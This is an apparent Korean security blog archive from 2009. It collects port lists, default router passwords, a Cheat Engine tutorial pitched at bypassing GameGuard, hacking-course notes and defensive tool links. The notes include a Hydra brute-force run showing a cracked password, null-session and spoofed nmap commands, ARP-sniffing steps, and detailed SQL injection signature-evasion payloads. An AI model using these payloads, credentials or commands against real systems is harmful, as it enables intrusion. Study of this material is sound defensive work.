1433 Microsoft SQL Server
1434 Microsoft SQL Monitor
1477
1478
1490
1494 Citrix ICA Protocol
1498
1500
1503 T.120
1521 Oracle SQL
1522
1524
1525 prospero
1526 prospero
1527 tlisrv
1529
1547
1604 Citrix ICA, MS Terminal Server
1645 RADIUS Authentication
1646 RADIUS Accounting
1680 Carbon Copy
1701 L2TP/LSF
1717 Convoy
1720 H.323/Q.931
1723 PPTP control port
1731
1755 Windows Media .asf
1758 TFTP multicast
1761
1762
1808
1812 RADIUS server
1813 RADIUS accounting
1818 ETFTP
1968
1973 DLSw DCAP/DRAP
1975
1978
1979
1985 HSRP
1999 Cisco AUTH
2000
2001 glimpse
2005
2010
2023
2048
2049 NFS
2064 distributed.net
2065 DLSw
2066 DLSw
2080
2106 MZAP
2140 DeepThroat
2301 Compaq Insight Management Web Agents
2327 Netscape Conference
2336 Apple UG Control
2345
2427 MGCP gateway
2504 WLBS
2535 MADCAP
2543 sip
2565
2592 netrek
2727 MGCP call agent
2766
2628 DICT
2998 ISS Real Secure Console Service Port
3000 Firstclass
3001
3031 Apple AgentVU
3052
3128 squid
3130 ICP
3150 DeepThroat
3264 ccmail
3283 Apple NetAssitant
3288 COPS
3305 ODETTE
3306 mySQL
3352
3389 RDP Protocol (Terminal Server)
3520
3521 netrek
3879
4000 icq, command-n-conquer
4045
4144
4242
4321 rwhois
4333 mSQL
4444
47017
4827 HTCP
5000
5001
5002
5004 RTP
5005 RTP
5010 Yahoo! Messenger
5050
5060 SIP
5135
5150
5190 AIM
5222
5353
5400
5500 securid
5501 securidprop
5300
5423 Apple VirtualUser
5555
5556
5631 PCAnywhere data
5632 PCAnywhere
5678
5800 VNC
5801 VNC
5900 VNC
5901 VNC
5843
6000 X Windows
6112 BattleNet
6050
6499
6500
6502 Netscape Conference
6547
6548
6549
6666
6667 IRC
6670 VocalTec Internet Phone, DeepThroat
6699 napster
6776 Sub7
6968
6969
6970 RTP
6971
7000
7007 MSBD, Windows Media encoder
7070 RealServer/QuickTime
7161
7323
7777
7778 Unreal
7640
7648 CU-SeeMe
7649 CU-SeeMe
7654
8000
8002
8010 WinGate 2.1
8080 HTTP
8100
8181 HTTP
8383 IMail WWW
8765
8875 napster
8888 napster
8890
9000
9090
9200
9704
9669
9876
9989
10008 cheese worm
10752
12345
11371 PGP 5 Keyserver
12346
13000
13223 PowWow
13224 PowWow
14000
14237 Palm
14238 Palm
14690
16969
18888 LiquidAudio
21157 Activision
22555
22703
22793
23213 PowWow
23214 PowWow
23456 EvilFTP
26000 Quake
27000
27001 QuakeWorld
27010 Half-Life
27015 Half-Life
27374
27444
27665
27910
27960 QuakeIII
28000
28001
28002
28003
28004
28005
28006
28007
28008
30029 AOL Admin
30100
30101
30102
30103
30303
30464
31335
31337 Back Orifice
32000
32771
32777 rpc.walld
34555
40193 Novell
41524 arcserve discovery
45000 Cisco NetRanger postofficed
50505
52901
54321
61000
65301
Multicast hidden
ICMP Type hidden
9998
32773 rpc.ttdbserverd
32776 rpc.spray
32779 rpc.cmsd
38036 timestep

 
2009/08/26 17:40 2009/08/26 17:40

사용중인 포트검색


Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>C:\PortQryV2\PortQry.exe -n www.jakartaproject.com

Querying target system called:

 www.jakartaproject.com

Attempting to resolve name to IP address...


Name resolved to 211.233.89.217

querying...

TCP port 80 (http service): LISTENING

C:\Documents and Settings\Administrator>


매뉴얼

http://support.microsoft.com/?id=832919

2009/08/26 17:38 2009/08/26 17:38

구글을 이용한 해킹 및 방어를 하는 기초 자료입니다

최소한 웹프로그래머라면 이정도는 꼭 숙지하고 넘어갑시다

2009/08/26 17:36 2009/08/26 17:36

WebKnight는 AQTRONIX사(http://www.aqtronix.com/)에서 개발한 IIS 웹서버에 설치할 수 있는
공개용 웹 방화벽입니다.

WebKnight는 ISAPI 필터 형태로 동작하며, IIS 서버 앞단에 위치하여 웹서버로 전달되기 이전에 IIS 웹서버로 들어온 모든 웹 요청에 대해 웹서버 관리자가 설정한 필터 룰에 따라 검증을 하고 SQL Injection 공격 등 특정 웹 요청을 사전에 차단함으로써 웹서버를 안전하게 지켜주는 툴입니다


출처 한국정보보호진흥원(KISA)

2009/08/26 17:30 2009/08/26 17:30

IP공유기 각사별 초기세팅값

ID와 Pass란의 공란은 입력란은 있으나 입력이 필요없는 경우이며, 없슴의 경우엔 입력란 자체가 없는 경우입니다.

제조사

모델명

초기IP주소

USER ID

Password

프린터서버유무

리넷

RX-2004

192.168.0.1

없음

없음

있음

RX-2007

192.168.0.1

없음

없음

있음

RX-2040

192.168.1.254

공란

공란

없음

RX-3400

192.168.1.254

공란

공란

없음

RX-3400PLUS

192.168.1.254

공란

공란

없음

RX-2008

192.168.1.254

공란

공란

있음

유니콘

HIP-400E

192.168.123.254

없음

admin

있음

HIP-800E

192.168.123.254

없음

admin

있음

COS-400K

192.168.123.254

없음

admin

없음

MAX-400K

192.168.123.254

공란

공란

없음

MAX-400PLUS

192.168.123.254

공란

공란

없음

HIP-400PLUS

192.168.123.254

없음

admin

있음

삼성

MagicIP-Blue

192.168.10.1

공란

admin

없음

데이타그램

DXR9400

192.168.1.1
  1.09이상:
  192.168.10.1

admin

admin

없음

DXR-9410

192.168.10.1

없음

없음

없음

리포텍

RP-IP2014

192.168.1.1

router

admin

없음

넷기어

RP-114

192.168.0.1

admin

1234

없음

RT-311

192.168.0.1

admin

1234

없음

RP-614

192.168.0.1

admin

password

없음

액톤

AC-IG1004

192.168.2.1

없음

공란

있음

지오
INB3040SR

192.168.0.1

없음

없음

없음

쓰리콤

3C-510

192.168.2.1

없음

admin

있음

3C855

192.168.1.1

없음

admin

없음

오비스링크

OV-IP2042

192.168.1.254

공란

공란

없음

OV-IP2047

192.168.1.254

공란

공란

없음

OV-IP2070

192.168.1.1

admin

admin

없음

링크시스

BEFSR41

192.168.1.1

공란

admin

없음

마하링크
MACH-500V

192.168.123.254

admin

admin

USB 있음

에이엘테크

GW-100

192.168.1.1

공란

admin

없음

GW-200

192.168.1.1

공란

admin

없음

GW-300A

192.168.1.1

공란

admin

없음

GW-200Plus

192.168.1.1

공란

admin

없음

사이베론

CGR-204

192.168.0.1

없음

없음

없음

CGR-304V

192.168.0.1

없음

없음

없음

위의 IP초기값은 IP공유기출시때의 값입니다. 사용중에 펌웨어 업그레이드를 한 경우 IP초기값이 펌웨어 버전이 업그레이드 되면서 변경되는 경우가 있습니다.  

2009/08/26 17:18 2009/08/26 17:18
* 시작하기 전에 *
본 강좌는 치트엔진 공식포럼의 infinitezero님께서 올리신 튜토리얼(http://forum.cheatengine.org/viewtopic.php?t=34471)을 기초로 번역한 것으로,
저의 부족한 영어 실력과 프로그램의 버전업 등을 반영하느라 추가된 내용으로 인하여원문 내용과는 다소 차이가 날 수 있음을 알려 드립니다.

이 "소스"는 Cheat Engine을 만들기 위한 소스 입니다.
이 "소스"는 게임가드에 감지되지 않기 하기 위한 용도 등으로 부분적인 수정이 가능합니다.
(감지 되지 않는다면, 게임가드를 우회하여 메이플스토리 등의 게임을 에디트 할수 있겠죠.)

시작...

(1) 이곳으로 가십시오.
그리고 Stable version(안정화 버전)을 다운 받으십시오. (첫번째 것.)
(이 강좌를 쓰는 2006년 11월 16일 기준으로 가장 최신의 안정화 버전인) TortoiseCVS-1.8.29.exe 를 다운받아 설치 하십시오.
(팁: 설치 과정중 재부팅을 하라는 메세지가 나오면 사실 진짜로 재부팅을 할 필요는 없습니다.
진짜로 필요한 것은 explorer.exe 프로세서를 종료시켰다가 다시 실행만 하면 됩니다. 만약 이렇게 하는 방법을 모르신다면 그냥 재부팅 하십시오.)

(2) 설치가 끝난 후 C드라이브(C:\)를 여신 후 아무곳에서나 마우스 오른 클릭을 하시면 아래와 같은 팝업 메뉴가 나타납니다.

(3) CVS Checkout를 선택하시면 아래와 같은 Checkout module창이 뜹니다.
CVSROOT: 라고 되어 있는 곳에
:pserver:cvsanon@cvs.colddot.nl/CECVS (콜론{:}까지 포함하여 정확하게 기입해 주세요. 그렇지 않으면 작동하지 않습니다.) 라고 적어 주세요.
그런 후에 Module: 부분에 Cheat Engine이라고 적어주고 OK 버튼을 클릭하세요.

그러면 아래와 같이 다운로드를 시작하고 몇분 기다리시면 다운을 완료 합니다.
만약 다운이 완료되면 CVS operation completed 라는 메세지를 출력 합니다.


이제 다운이 완료 되었습니다.
C:\Cheat Engine 으로 가시면 다운로드된 파일들을 확인 하실 수 있습니다.

출처
2009/08/25 15:40 2009/08/25 15:40

Module 1 - Information Security Overview

  • 학술적인 정의의 정보보안은 각종 위협으로부터 안전하게 보호하여 정보 시스템의 "기밀성", "무결성", "가용성"을 보장하는 것을 말한다.
  • Hacker 는 system 과 network 분야의 H/W, S/W 전문가를 지칭하는 의미로 고도의 전문 프로그래밍 실력을 가지고 합법적인 system, network 관리를 하는 사람을 의미합니다.
  • 전설적인 해커 Kevin Mitnick : 이론만으로 존재했던 IP Spoofing 공격을 실제로 공격에 사용한 최초의 해커로서 그의 실력을 입증하였다.
  • 해커의 분류 : Elite, Semi Elite, Developed Kiddie, Script Kiddie, 레이머
  • 보안 10대 불변 법칙

유용한 사이트
  • http://packetstorm.linuxsecurity.com - 익스플로잇
  • http://www.krcert.or.kr - 통계분석 메뉴
  • http://www.hackerwatch.org - 전세계 인터넷 트래픽 맵
  • http://www.zone-h.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌
  • http://www.hackersnews.org - 메인페이지가 변조된 사이트들을 실시간으로 알려줌

Module 2 - Attack Technique

  • 전통적인 공격기법
  1. 1단계 : 정보수집 -> 전체단계중 90% 이상을 차지한다.

  2. 2단계 : 시스템 침입
  3. 3단계 : 공격 전이

  • 공격기법 세분화
  1. Footprinting
  2. Scanning
  3. Enumeration
  4. Gaining Access
  5. Escalating Privilege
  6. Pilfering
  7. Covering Tracks
  8. Backdoor
  9. Denial of Service

Ping을 실행했을때, TTL 값이 128 근처이면 윈도우 운영체제이고 유닉스 계열 운영체제는 64 나 255 가 된다.


Module 3 - Footprinting

  • Social Engineering

    • 가장 쉬우면서도 가장 확실한 방법일 수 있는 것이 바로 이 사회공학 기법이다. 희대의 해커였던 케빈 미트닉은 기술 또한 우수했지만 이 사회공학 기법에 있어서 타의 추종을 불허한다고 한다.
    • 합법적인 사용자가 들어가는 데 바로 뒤에 붙어서 들어가려고 시도 (Piggybacking)
    • 휴지통 뒤지기
  • whois

whois는 인터넷에 등록된 domain에 대한 정보를 제공해주는 서비스이다. 이 서비스를 통해 master/slave name server 의 IP, 관리자의 전화번호를 비롯하여 email address, 기관의 지리적 위치, 할당 받은 IP Address, 최종 업데이트일자 등을 확인할 수 있다.


http://www.archive.org

http://www.ip-adress.com


Module 4 - Scanning

http://www.iana.org

http://insecure.org - NMAP (스캐닝)

http://www.wireshark.org - WireShark (패킷캡쳐), AirPcap - 아주 강력한 무선 해킹 툴


출발지 주소를 속이면서(IP Spoof) 해당 호스트 스캐닝 하기

  1. # nmap -v -sS -S 100.100.100.100 -e eth0 192.168.234.129

http://www.foundstone.com - Attacker


Portsentry (iptables 방화벽 연동)

step 1 : http://www.rpmfind.net --> portsentry 검색어 입력 검색

step 2 : wget ~~~

step 3 : rpm -Uvh portsentry ~~

step 4 : lokkit (방화벽활성화)

step 5 : iptables -F (기존 방화벽 rule 제거)

step 6 : service portsentry start

step 7 : 윈2000 에서 리눅스 스캔 (차단당하는지 확인)


Module 5 - Enumeration

윈도우즈 해킹을 위한 준비(스캐닝)


http://securityfocus.com/archive/

http://www.securiteam.com

http://sectools.org - Top 100 Network Security Tools

http://www.milw0rm.com

http://www.hackeroo.com

http://www.nessus.org - 가장 강력한 취약점분석 도구


Nikto - Web Server Scanner

http://www.securiteam.com --> search 에서 nikto 로 검색

http://www.cirt.net/code/nikto.shtml


http://www.watchfire.com/ --> AppScan 상용 웹스캐너


MD5SUM for Windows

http://www.pc-tools.net/win32/md5sums


Null Session 를 이용한 정보수집 방법

  1. c:> net use \\아이피주소\IPC$ "" /u:""
  2. c:> winfo 아이피주소 -v
  3. c:> userinfo \\아이피주소 Administrator


Hydra 를 이용하여 Administrator 비밀번호 알아내기

http://packetstorm.linuxsecurity.com/ 에서 Search 에 hydra 입력

hydra 다운로드

tar xvfz hydra-5.4-src.tar.gz

http://packetstorm.linuxsecurity.com/Crackers/wordlists/에서 passlist 다운로드

# cd hydra-5.4-src

# ./configure && make && make install

# ./hydra -l administrator -P /root/passlist 192.168.234.129 smtp-auth

Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-12-18 16:20:17
[DATA] 16 tasks, 1 servers, 5248 login tries (l:1/p:5248), ~328 tries per task
[DATA] attacking service smtp-auth on port 25
[25][smtpauth] host: 192.168.234.129   login: administrator   password: 12345
[STATUS] attack finished for 192.168.234.129 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2007-12-18 16:20:21



http://www.adventnet.com --> 공짜 로그서버 제공 (5개 서버까지 등록 가능) --> EventLog Analyzer 4


tripwire 설치

  1. # yum -y install tripwire
  2. # tripwire-setup-keyfiles

    # tripwire --init


  3. # tripwire --check



Unix 용 루트킷 검색 프로그램

http://www.chkrootkit.org --> chkrootkit

http://www.rootkit.nl --> rkhunter


Windows 용 루트킷 검색 프로그램

http://technet.microsoft.com --> sysinternals --> Securiy Utilities --> RootkitRevealer, Process Explorer


Sniffing Program

http://www.oxid.it/cain.html


카인과아벨를 이용한 스니핑 방법

Sniffer 탭 클릭 --> Configure 메뉴 --> 랜카드 선택, ARP 탭:가짜 IP, MAC 입력(59.28.225.180) --> Start Sniffer and Start ARP (두번째, 세번째 아이콘 클릭) --> 플러스 아이콘 클릭 --> All --> 모든 IP MAC 이 다 보이게 됨. --> 밑에 ARP 탭 선택 --> 플러스 아이콘 클릭 --> 스니핑하고자 하는 IP 선택  --> 스니핑 시작 --> Password 탭 선택하면 비밀번호가 보임



SYN Flooding Attack

syn 192.168.x.x -p 80

2009/08/25 14:29 2009/08/25 14:29
Microsoft 에서, 웹사이트 코드 취약점 점검 도구를 최근에 배포 하였는데요,. 명령행 기반 유틸 입니다. 아래 kb 문서를 참고하시면 간단한 사용법과 예제가 설명 되어 있으므로 참고들 해보시면 좋을것 같습니다. --> 물론 개발자가 직접 점검해 보아야 하겠지요.. 자기가 개발한 코드이니 만큼..^^

국내 정보보호진흥원에서 배포하는 자료는 광범위하게 배포되어 있고, 예전에 올려진 자료도 있고 해서 따로 정리할 필요는 없을것 같네요..


개발자가 참고해 볼만한 도구 및 문서:
The Microsoft Source Code Analyzer for SQL Injection tool
http://support.microsoft.com/default.aspx/kb/954476

Microsoft Source Code Analyzer for SQL Injection 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-
A4334146B6BA&displaylang=en


Preventing SQL Injections in ASP
http://msdn.microsoft.com/en-us/library/cc676512.aspx

How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Microsoft Anti-Cross Site Scripting Library:
http://msdn.microsoft.com/en-us/library/aa973813.aspx

Tip/Trick: Guard Against SQL Injection Attacks:
http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against
-SQL-Injection-Attacks.aspx



관리자가 참고할 만한 도구 및 문서:
Microsoft Urlscan Filter v3.0 Beta (x86) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-
321603531989&displaylang=en


Microsoft Urlscan Filter v3.0 Beta (x64) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=361E5598-C1BD-46B8-B3E7
-3980E8BDF0DE&displaylang=en


AQTRONIX WebKnight - Application Firewall for Web Servers:
http://www.aqtronix.com/?PageID=99


그외, 유틸로는...

Scrawlr - SQL Injection 스캐너
http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/
finding-sql-injection-with-scrawlr.aspx



관련링크:

공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.wssplex.net/TipnTech.aspx?Seq=312

해킹, 악성코드등 보안 점검 자료 및 정보
http://www.wssplex.net/TipnTech.aspx?Seq=310

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.wssplex.net/TipnTech.aspx?Seq=388

SQL Injection and XSS 진단 스크립트
http://www.wssplex.net/TipnTech.aspx?Seq=273
2009/08/25 14:22 2009/08/25 14:22
Microsoft 에서, 웹사이트 코드 취약점 점검 도구를 최근에 배포 하였는데요,. 명령행 기반 유틸 입니다. 아래 kb 문서를 참고하시면 간단한 사용법과 예제가 설명 되어 있으므로 참고들 해보시면 좋을것 같습니다. --> 물론 개발자가 직접 점검해 보아야 하겠지요.. 자기가 개발한 코드이니 만큼..^^

국내 정보보호진흥원에서 배포하는 자료는 광범위하게 배포되어 있고, 예전에 올려진 자료도 있고 해서 따로 정리할 필요는 없을것 같네요..


개발자가 참고해 볼만한 도구 및 문서:
The Microsoft Source Code Analyzer for SQL Injection tool
http://support.microsoft.com/default.aspx/kb/954476

Microsoft Source Code Analyzer for SQL Injection 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-
A4334146B6BA&displaylang=en


Preventing SQL Injections in ASP
http://msdn.microsoft.com/en-us/library/cc676512.aspx

How To: Protect From SQL Injection in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx

Microsoft Anti-Cross Site Scripting Library:
http://msdn.microsoft.com/en-us/library/aa973813.aspx

Tip/Trick: Guard Against SQL Injection Attacks:
http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against
-SQL-Injection-Attacks.aspx



관리자가 참고할 만한 도구 및 문서:
Microsoft Urlscan Filter v3.0 Beta (x86) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=EE41818F-3363-4E24-9940-
321603531989&displaylang=en


Microsoft Urlscan Filter v3.0 Beta (x64) 다운로드
http://www.microsoft.com/downloads/details.aspx?FamilyId=361E5598-C1BD-46B8-B3E7
-3980E8BDF0DE&displaylang=en


AQTRONIX WebKnight - Application Firewall for Web Servers:
http://www.aqtronix.com/?PageID=99


그외, 유틸로는...

Scrawlr - SQL Injection 스캐너
http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/
finding-sql-injection-with-scrawlr.aspx



관련링크:

공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.wssplex.net/TipnTech.aspx?Seq=312

해킹, 악성코드등 보안 점검 자료 및 정보
http://www.wssplex.net/TipnTech.aspx?Seq=310

DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.wssplex.net/TipnTech.aspx?Seq=388

SQL Injection and XSS 진단 스크립트
http://www.wssplex.net/TipnTech.aspx?Seq=273

- http://www.wssplex.net 에 있는 글입니다.
2009/08/17 16:44 2009/08/17 16:44
https://fedorahosted.org/sectool/#Similarprojects

NetBSD 보안설정 체크툴
http://www.daemon-systems.org/man/security.conf.5.html

참고로 아래와 같은 서비스도 있다.
http://www.securityspace.com/smysecure/index.html
2009/08/11 14:56 2009/08/11 14:56
보통 스파이웨어는 리부팅후에도 자동으로 실행이 되도록 설정이 됩니다. 따라서 자동 실행(Auto Start)되는 환경설정 파일들만 제대로 점검하면 스파이웨어 감염 및 제거를 용이하게 할 수 있습니다.

보통 Auto Start시키는 설정은 다음과 같습니다. 여기에서 예제 스파이웨어 파일명을 malware.exe로 가정해 보겠습니다.

1) win.ini 파일에서 다음과 같이 설치됩니다

[winodws]
load = malware.exe
run = malware.exe

2) system.ini 파일에서 다음과 같이 추가됩니다.

[boot]
Shell = explorer.exe malware.exe

3) Autoexec.bat 파일에서
%windir%system32% 디렉터리 밑에 malware.exe

4) Registry Shell Open

[HKEY_CLASS_ROOT/exefile/shell/open/command]
[HKEY_LOCAL_MACHINE/Software/Classes/exefile/shell/open/command]
"malware.exe %1 %*" 요런식으로 값이 들어가 있습니다.

5) Alternative Registry Keys

[HKEY_CLASSES_ROOT.exe] @="myexefile"]
[HKEY_LOCAL_MACHINE/Software/Classes/myexefile/shell/open/command@="malware.exe %1 %*"]
winstart.bat

6) Main 레지스트리에 등록되는 경우
[HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrentVersion/RunServices]
[HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrentVersion/RunServicesOnce]
[HKEY_LOCAL_MACHINE/SoftwareMicrosoft/Windows/CurrenVersion/Run]

6) wininit.ini 에 혹시 등록되어 있는 프로그램이 없는지 확인
2009/08/11 14:44 2009/08/11 14:44
새삼스럽게 최근의 나온 것은 아니지만, 활용여부에 따라 테크닉에 상당한 도움이 될 것 같아 올려봅니다. 요즘 다시 DBMS 공부해보는데 참 재밌네요.(IMPERVA 문서를 많이 참고했습니다.)

SQL Injection Signatures Evasion
       
1. 이 문서에 대한 요약

URL Request에 arbitrary string(악의적인 문자열)을 삽입시키는 일반적인 형태는 다음과 같이 이루어 집니다. 웹 애플리케이션의 사용자 입력값을 받는 모든 폼, 검색창 형태들이 이에 해당됩니다. 아래의 예처럼 변수의 변수값에 직접적으로 삽입이 이루어진다.

예) 만약에 시스템에 string 필드 값이 존재하지 않는 경우에는 새로운 파라메터에 간단히 추가할 수 있다.(이런 경우 일부 웹 애플리케이션은 이를 차단하거나 무시함)

....$id=43&testparam=malicious code

SQL Injection이 탐지가 되는 경우에 SQL Comment 문자열(/* */)에 대한 signature가 존재하지 않을 때, 이럴 경우 간단히 injection시킬 수 있다.

....$dbid=original’ --

또 다른 테크닉 기법으로는 SQL Injection 취약점이 탐지되고, AND 키워드에 대한 Signature가 존재하지 않을 때 패턴은 다음과 같이 된다.

....$dbid=original’ AND ‘100’=’100’

대부분의 웹 사이트에서 이러한 취약점들을 가지고 있다. 이런 키워드 탐색을 통해서 SQL Injection의 가능성 여부를 알아볼 수 있다.
두번째 단계로 SQL 구문을 통한 공격이 이루어지 질 수 있는데, 아래와 같은 SQL 구문을 통해 필터링여부를 조사하게 된다.

- UNION SELECT
- OR 1=1
- exec sp_  또는 xp_  로 시작되는 스토어 프로시저(확장 스토어 프로시저)
- declare @s out
       
2. 일반적인 회피기법(Common Evasion Techniques)

1) Different Encoding : 다양한 인코딩 방식을 사용한 Evasion 기법
2) White Space 다양성(Diversity) : 일반적으로 SQL Injection 공격을 회피하기 위해 둘 이상의 스페이스 문자를 삽입시키는 경우 White Space에 의해 분리된다. 즉, 여러 개의 스페이스문자가 삽입되더라도 한번의 스페이스로 대체될 필요가 있다.

3) IP Fragmentation 및 TCP Segmentation
몇몇 Product에서는 TCP/IP 프레그먼트에 대한 취약점은 여전히 존재하고 있다.

3. Advanced 회피기법(Advancesd Evasion Techniques)

3.1 OR 1=1 Signature 기법
가장 일반적으로 사용되는 공격, 보통 탐지 Signature는 정규표현식으로 구성되어있다. 그러나 교묘한 방법을 사용하는 다양한 형태의 공격이 가능하다.

   - OR  ‘unusual’ = ‘unusual’

간단한 트릭을 쓰면 다음과 같이 ‘N’ 문자나 ‘+’를 삽입해 보는 경우이다. 이런 방식을 이용하면 간단히 Signature 기반의 탐지 메커니즘을 쉽게 우회할 수 있다. 광범위하고 다양한 정규표현식을 필터링을 하는 제품의 경우에는 이런 공격을 차단할 수 있다.
 
   - OR  ‘Simple’ = N’Simple’
   - OR  ‘Simple’ = ‘Sim’+’ple’
- OR  ‘Simple’  LIKE ‘Sim%’

또는 ‘<’, ‘>’ 를 사용하기도 한다.

  - OR  ‘Simple’ > ‘S’
  - OR  ‘Simple’ < ‘X’
  - OR 2 > 1

IN 또는 BETWEEN 구문을 사용하는 경우도 있다.(MS SQL 구문에서 유효함)

- OR  ‘Simple’  IN (‘Simple’)
- OR  ‘Simple’  BETWEEN ‘R’ AND ‘T’
(후자는 MS SQL에서만 유효하지만, 대부분의 DB에서도 간단하게 수정하는 것이 가능하 것으로 본다)  그러나 OR 키워드 형태로 Signature 했을 경우 발생가능한 오탐(false positive)의 경우도 있다.

  http://site/ordier.asp?ProdID=5&Quantity=4

3.2 White Spaces Evading Signature
  White space(스페이스 문자)가 포함된 공격에서의 Signature에 대한 정확도가 문제가 발생할 가능
  성을 염두에 둘 필요가 있다.
  단순히 ‘UNION SELECT’ 나 ‘EXEC SP_(XP_ )’ 형태의 탐지 패턴은 높은 정확성을 보일 수 있다.
  예를 들면 MS SQL 서버에서는 SQL 키워드 또는 number나 string 사이에 스페이스 문자는 생략될
  수 있어 아주 쉽게 Evasion이 허용될 수 있다.
 
..origText’  OR  ‘Simple’ = ’Simple’ 이 다음처럼 될 수 있다.
..origText’OR’Simple’=’Simple’

그러나 이런 공격은 UNION SELECT Statement 구문에서는 동작하지 않는다. 왜냐하면 두 키워드 사이는 반드시 분리되어야 하기 때문이다. 따라서 스페이스문자 보다는 C 언어의 Comment syntax를 이용하면 evasion이 가능할 수도 있다.(/*  … */ 이런 형태)

select *
from tblProducts   /* List of Prods */
where ProdID = 5

C-Like comment 형태의 공격은 다음과 같다. 실제로 comment 부분을 나타내는 ‘/**/’이 스페이스 문자로 대체된다.

....&ProdID=2  UNION  /**/  SELECT  name ....
....&ProdID=2/**/UNION/**/SELECT/**/name ....
....&origText’/**/OR/**/’Simple’=’Simple’

http://site/login.asp?User=X&Pass=Y

....login.asp?User=X’OR’1’1/* &Pass=Y*/=’1

실제 SQL 쿼리 구성은 다음과 같다
 
  Select * from Users where User=’X’OR’1’/* AND Pass=’*/=’1’

3.3 Evading Any String Pattern
  단독 키워드의 경우에는 false positive가 발생한다. 같은 Comment 형태로 MySQL에서는 다음과
  같은 형태로 공격에 사용될 수 있다.

     ....UN/**/ION/**/SE/**/LECT/**/  ....
 
  MS SQL에서 스토어 프로시저를 실행시키는 EXEC를 아래와 같은 형태로 공격을 할 수 있다.  
  INSERT INTO를 두부분으로 분리하여 Injection 시킨다. 이럴 경우 Signature 메커니즘에서 탐지가
  안된다.
  또한 이와 유사한 공격으로 MS SQL에서는 SP_EXECUTESQL 라는 확장 스토어 프로시저를 사용
  한다. 그러나 새로운 버전에서는 SP_SQLEXEC 프로시저로 이름이 변경되었다. 이들 모두 SQL 쿼
  리를 실행시킬 수 있다. 참고로 Oracle에서는 ‘EXECUTE IMMEDIATE’가 이와 동일한 기능을 수행
  한다.

     ....; EXEC (‘INS’+’ERT INTO....’)

한가지 주목할 점이 MS SQL에서 헥사코드로 인코딩된 스트링이 실행된다는 것이다. 이 방식대로 한다면 ‘SELECT’는 헥사코드 번호 0x73656C656374로 표현이 되고 탐지가 되지 않는다.
또 한가지 다른 예는 MS SQL 서버에서 OPENROWSET 구문과 관련된 것이다. 가장 널리 알려지고 오랜된 이 기법이 아직도 유효하게 사용되는 곳이 많이 존재하고 있고, 대부부의 Signature 기반의 제품들에서는 탐지를 못하는 경우가 발생하고 있다. 그리고 MS SQL 서버에서 SQL 쿼리를 실행시킬 수 있는 Unlisted 스토어 프로시저가 존재하고 있다.
sp_prepare, sp_execute 이 프로시저는 MS SQL 서버 어디에도 나타나지 않는다. 따라서 이들 프로시저를 이용한 공격은 탐지가 안될 가능성이 있다. 다른 DB에도 이와 유사하게 Undocument 프로시저가 있을 수 있다. Undocument 프로시저를 이용한 공격이 현재로서는 충분히 가능성 있어 보인다.

4. 결론

1) 모든 SQL 구문에 사용되는 문자열에 대한 탐지가 필요한데 이때 약간의 인공지능식 검색이 필요할 듯 싶다.(검색 조건의 AND와 OR 조건에 따른 오탐의 여부가 많은 것이 단점이다.)
(INSERT, INTO, UNION, SELECT, DELETE, UPDATE, CREATE, FROM, WHERE, OR, AND, LIKE, SQL, ROWSET, OPEN, BEGIN, END, DECLARE)

2) 모든 스토어 프로시저의 탐지 및 차단(실제 서비스에서는 프로시저를 써야하는 곳이 많아서 이부분은 적극적인 권장사항은 아니지만 가급적 최소화하는데 목적을 두고 싶다)
(EXEC, SP_, XP_ )

3) 모든 메타문자 차단
  (;  --  +  ‘  (  )  =  >  <  @  *)
2009/08/11 14:43 2009/08/11 14:43

중국애들이 ccproxy를 통해 해킹시도할 때 real ip가 숨겨지죠. 그렇다고 real ip 못찾는 건 아니지만 IIS 로그에서 프록시를 통해서 Request 한 실제 IP를 남기는 설정방법이 있습니다.

몇몇 프록시 서버는 HTTP 헤더에 "X-Forwarded-For"추가하여 실제 공격자 IP를 포함시키는 경우가 있습니다.

이것을 IIS에서 남기도록 제한하는 설정으로 ASP 코드에 "Respnse.AppendToLog" 메소드를 사용하여 URL 쿼리상에 남기도록 설정할 수 있습니다.

단 이때 제약 사항은 IIS 로그에는 남지 않고 URI에서 나타나기 때문에 "pipe( | )" 문자로 구분해 줘야 합니다.

아래 ASP 코드는 Proxy 헤더 로그를 추가하도록 설정하는 방법입니다.

<%

   sHeader = Request.ServerVariables("X-Forwarded-For")

   if Len(sHeader)

     Then

            Response.AppendToLog " | " & sHeader

%>

 

추가로 포워드된 Proxy 헤더 정보가 남기게 됩니다.

Client IP, Remote_Addr, Remote_Host, Forwarded, VIA, HTTP_From, Remote_Host_Wp, Xconnection, Xroxy_Connection, X_Locking

2009/08/11 14:42 2009/08/11 14:42
현재 문제 되고 있는 DDoS 전용백신입니다.
 
DDoS 공격관련 참조 사이트 : www.krcert.or.kr (국번없이 118)
 
출처:

이스트소프트 알약전용백신
http://aldn.altools.co.kr/altools/ALYacRemovalTool.exe
http://alyac.altools.co.kr/etc/Notice_Contents.aspx?idx=136

 
 
안철수연구소 전용백신
http://kr.ahnlab.com/dwVaccineView.ahn?num=81&cPage=1
